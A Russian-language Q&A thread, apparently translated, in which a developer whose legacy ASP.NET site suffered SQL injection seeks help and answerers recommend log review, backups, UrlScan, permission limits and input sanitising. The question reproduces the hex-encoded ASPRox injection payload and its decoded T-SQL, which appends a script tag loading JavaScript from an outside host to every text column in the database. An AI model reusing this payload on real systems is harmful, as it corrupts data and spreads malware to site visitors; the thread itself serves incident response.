Возможный дубликат:
Мой сервер был взломан ЭКСТРЕННО
Боже, я в отчаянии! Несколько часов назад в нашу производственную базу данных была внедрена SQL-инъекция.
Я знаю, что у нас есть большие дыры в системе... потому что мы унаследовали сайт от парня, который делал его на классическом ASP, его программирование было действительно ужасным и незащищенным. Поэтому мы потратили некоторое время на миграцию его на ASP.NET (сначала 1.1, потом 2.0, а теперь 3.5). Но это большой проект, и там все еще есть старый и незащищенный код. Я не буду врать, проект — это беспорядок, я его ненавижу, но это наш самый важный клиент (мы всего лишь 2 молодых парня, а не большая компания).
Итак, я знаю, что они каким-то образом внедрили ссылки на некоторые скрипты js во всю мою базу данных... Вероятно, это произошло через старую страницу, использующую объединенные строковые запросы SQL и бросающую их напрямую в базу данных (потому что тот парень, который начал проект, сказал: «Хранимые процедуры не работают»... поэтому он сделал весь сайт, используя конкатенацию строк и бросая их напрямую в SQL, не выполняя никакой проверки безопасности или чего-то еще.
Когда мы получили проект, клиент не хотел тратить время на переделку дерьма, которое сделал старый парень. Поэтому нам пришлось перейти к паршивому и небезопасному коду и исправлять его, разрабатывая новые функции, потому что именно этого хотел клиент... и теперь, когда мы подверглись SQL-инъекции, они, конечно, сходят с ума.
ТАК....
**Есть ли способ проверить старые SQL-запросы, которые были выполнены за последние X часов? Что-то вроде того, как это делает SQL Profiler (но, конечно, у нас не было открытого профайлера, когда произошла атака)? Есть ли способ узнать, какая страница уязвима? Пожалуйста, помогите, страниц много. Я не могу вручную искать по ним, не зная наверняка, какая из них была страницей.
Также... может быть есть другой способ, которым они могли бы внедрить базу данных? Например, с помощью запроса IIS или js или чего-то еще?**
У меня есть полный доступ к удаленному рабочему столу сервера (он не находится в размещенной среде), поэтому я могу получить доступ к каждому файлу, журналу и всему остальному на сервере...
Пожалуйста помоги!
PS: Извините, мой английский не очень хорош, а теперь, когда я нервничаю, он становится ещё хуже!
РЕДАКТИРОВАТЬ
- Windows 2003 Сервер
- SQL-СЕРВЕР 2005
- ASP.NET 3.5
Сценарий, который они предлагают, следующий:
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;
Что в переводе на текст выглядит так:
DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,['
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
решение1
Первое, что нужно сделать, это не паниковать. Но я вижу, что вы это пропустили и решили
Второе — закрыть сайт и убедиться, что он недоступен извне, пока вы не выясните, что сломалось. Начните просматривать журналы доступа и попытайтесь выяснить, в чем заключается основная проблема.
Третье, что нужно сделать, это проверить, делаете ли вы резервную копию вашей базы данных регулярно и просто откатитесь назад. Вы можете потерять некоторые данные, но вы будете в лучшем положении, чем сейчас
Четвертое, что нужно сделать, это НЕ РАЗГЛАШАТЬ URL, так как он, по всей видимости, небезопасен.
решение2
Обязательно установите последнюю версию UrlScan — она была специально разработана для борьбы с подобными атаками.
Если у вас есть журналы IIS, точка входа должна быть довольно очевидна — ищите ту, которую взломали хакеры.
Еще один хороший бэкстоп, если он вообще возможен, — это запретить права INSERT и UPDATE для учетной записи веб-пользователя и вместо этого прогнать ее через хранимые процедуры. Такого рода бэкстоп спас нас от аналогичной проблемы с похожим устаревшим приложением, когда это была атака нулевого дня.
Я думаю, вы также можете лишить пользователя PUBLIC права сканировать таблицы, что должно помешать ему проводить атаки в стиле «foreach table».
решение3
В качестве точки отсчета, это работа атаки SQL-инъекции бота ASPRox. Кажется, она всплывает время от времени, потому что становится довольно вирусной, когда обнаруживаются скомпрометированные системы. Вы можете поискать в Google "бот ASPRox" и получить некоторые дополнительные методы очистки и дальнейшие профилактические процедуры. Я только что нашелэтот PDF-файлфайл, содержащий хороший обзор тактики и ссылки на некоторые варианты очистки.
Проблема в том, что модель вируса/инъекции по сути берет каждое текстовое поле во ВСЕХ таблицах вашей базы данных и помещает в него небольшой фрагмент, который обращается к указанному URL-адресу, чтобы попытаться заразить всех других веб-клиентов и сделать их зомби, посещающих ваш сайт.
Поэтому обязательно проверьте все базы данных на соответствующем сервере, а не только ту, на которой находится соответствующая база данных, чтобы выполнить надлежащую очистку.
Похоже, вы на правильном пути с этими предложениями, но наличие некоторых «официальных» ссылок на название вируса может помочь при дополнительных потребностях.
решение4
Проверьте журналы IIS, чтобы узнать, какую страницу они использовали для инъекции. Само собой разумеется, вам нужно быстро исправить или отключить эту страницу.
Лучший подход зависит от типа сайта. Если это вообще возможно,закрыть сайтпока вы не восстановите незараженную базу данных или не отмените изменения (для этого требуются подробные журналы). Затем вы можете вернуть сайт в режим только для чтения, пока у вас не появится время исправить проблему(ы). Просто ограничьте учетную запись SQL только SELECT.
Даже когда вы объединяете строки запроса, вы можете быть в относительной безопасности с небольшими усилиями. Поиск всех файлов ASP по ключевым словам SELECT и UPDATE выявит все запросы. Окружите все ваши параметры базовыми проверками работоспособности для начала.
Поскольку вы, вероятно, торопитесь, вы можете взглянуть на некоторыеДействительноМой старый код ASP VBScript. Там есть куча функций SafeSqlWhatever, которые помогут вам создавать безопасные SQL-выражения. Никаких гарантий, он никогда не предназначался для публичного использования. Однако замена всех переменных входов наSqlVar(некоеЗначение)Функция должна помочь вам начать. Вам нужно удалить одинарные кавычки из остальной части строки запроса, так как SqlVar добавит их за вас. В качестве альтернативы используйте функции, специфичные для типа ожидаемого вами значения:
До:
Conn.Execute("UPDATE posts SET Subject='" & subject & "' WHERE ID=" & id)
После:
Conn.Execute("UPDATE posts SET Subject=" & SafeSqlString(subject) & " WHERE ID=" & SafeSqlNumber(id))
PS: нет, так быть не должно, новероятносамый быстрый способ вернуть все в рабочее состояние с того места, где вы находитесь сейчас.